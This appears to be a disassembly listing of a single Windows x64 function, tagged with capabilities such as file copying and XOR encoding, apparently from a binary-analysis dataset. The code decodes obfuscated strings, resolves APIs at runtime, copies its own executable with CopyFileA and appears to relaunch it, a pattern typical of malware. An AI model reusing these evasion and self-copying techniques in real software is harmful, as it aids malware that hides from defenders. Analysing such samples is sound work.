Function at 0x140013a90
Capabilities:
Copy file
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x4d8]
sub rsp, 0x5d0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140081040]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
mov eax, dword [0x140072d78]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140072d7c]
mov byte [rsp + 0x50], 0x2d
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor al, 0x37
mov byte [rsp + 0x54], al
xor r14d, r14d
mov ecx, r14d
nop dword [rax + rax]
movzx eax, byte [rsp + rcx + 0x50]
mov byte [rbp + rcx + 0x290], al
lea rcx, [rcx + 1]
test al, al
jne 0x140013b00
movups xmm0, xmmword [str.tQAuXUT_UXqWQ_]
movups xmmword [rsp + 0x58], xmm0
mov esi, dword [0x140081008]
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140013cc5
cmp esi, 2
jl 0x140013c7a
movdqa xmm5, xmmword [0x1400733b0]
mov edx, r14d
movdqa xmm4, xmmword [0x140073410]
movdqa xmm6, xmmword [0x1400733d0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x5c]
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400733e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400733e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140013b73
jmp 0x140013cc5
lea r9, [rsp + 0x58]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140013c90
lea rcx, [rsp + 0x58]
call fcn.140001840
call rax
lea rdx, [rbp + 0x290]
mov rcx, rax
call fcn.14003cc00
test rax, rax
jne 0x140014147
lea rdx, [rsp + 0x58]
call fcn.1400141e0
mov r9, rax
cmp byte [rax + 0x12], r14b
je 0x140013e80
mov ecx, r14d
cmp esi, 2
jl 0x140013e4a
movdqa xmm5, xmmword [0x1400733b0]
movdqa xmm4, xmmword [0x140073410]
movdqa xmm6, xmmword [0x1400733d0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
mov rdx, rax
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400733e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400733e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140013d40
cmp ecx, 0x13
jge 0x140013e80
movsxd r8, ecx
add r8, r9
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x33
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x140013e50
mov rcx, r9
call fcn.140001840
mov r8d, 0x104
lea rdx, [rbp + 0x70]
xor ecx, ecx
call rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x68]
call fcn.140024430
nop
lea rcx, [rbp - 0x68]
call fcn.140023ee0
inc eax
movsxd r9, eax
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x68]
call fcn.140023e80
nop
lea rcx, [rbp + 0x30]
call fcn.140013760
nop
lea rdx, [rsp + 0x58]
call fcn.140014210
mov rdi, rax
movzx eax, byte [rax + 8]
test al, al
je 0x140013f06
xor byte [rdi], 0x33
xor byte [rdi + 1], 0x34
xor byte [rdi + 2], 0x35
xor byte [rdi + 3], 0x36
xor byte [rdi + 4], 0x37
xor byte [rdi + 5], 0x38
xor byte [rdi + 6], 0x39
xor byte [rdi + 7], 0x3a
xor al, 0x3b
mov byte [rdi + 8], al
lea rcx, [rbp + 0x30]
call fcn.140024020
mov rbx, rax
lea rcx, [rbp + 0x50]
call fcn.140024020
mov r8, rax
mov r9, rbx
mov rdx, rdi
lea rcx, [rbp + 0x180]
call fcn.140001da0
xor r8d, r8d
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x70]
call fcn.1400474b8
lea rdx, [rsp + 0x58]
call fcn.140014250
mov r8, rax
movzx eax, byte [rax + 4]
test al, al
je 0x140013f82
xor byte [r8], 0x33
xor byte [r8 + 1], 0x34
xor byte [r8 + 2], 0x35
xor byte [r8 + 3], 0x36
xor al, 0x37
mov byte [r8 + 4], al
lea rdx, [rsp + 0x50]
call fcn.140014230
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140013fa1
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor cl, 0x35
mov byte [rax + 2], cl
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140001da0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rax
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
lea rdx, [rsp + 0x58]
call fcn.140014270
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140014178
mov r8d, r14d
cmp esi, 2
jl 0x140014102
movdqa xmm4, xmmword [0x140073410]
movdqa xmm2, xmmword [0x1400733b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400733d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400733e0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400733c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400733d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400733e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jge 0x140014178
jmp 0x140014110
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.140038e90
lea r11, [rsp + 0x5d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
mov rcx, r10
call fcn.140001840
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x48], rcx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x180]
call rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.1400474b8
mov ecx, 1
call fcn.140041f58
int3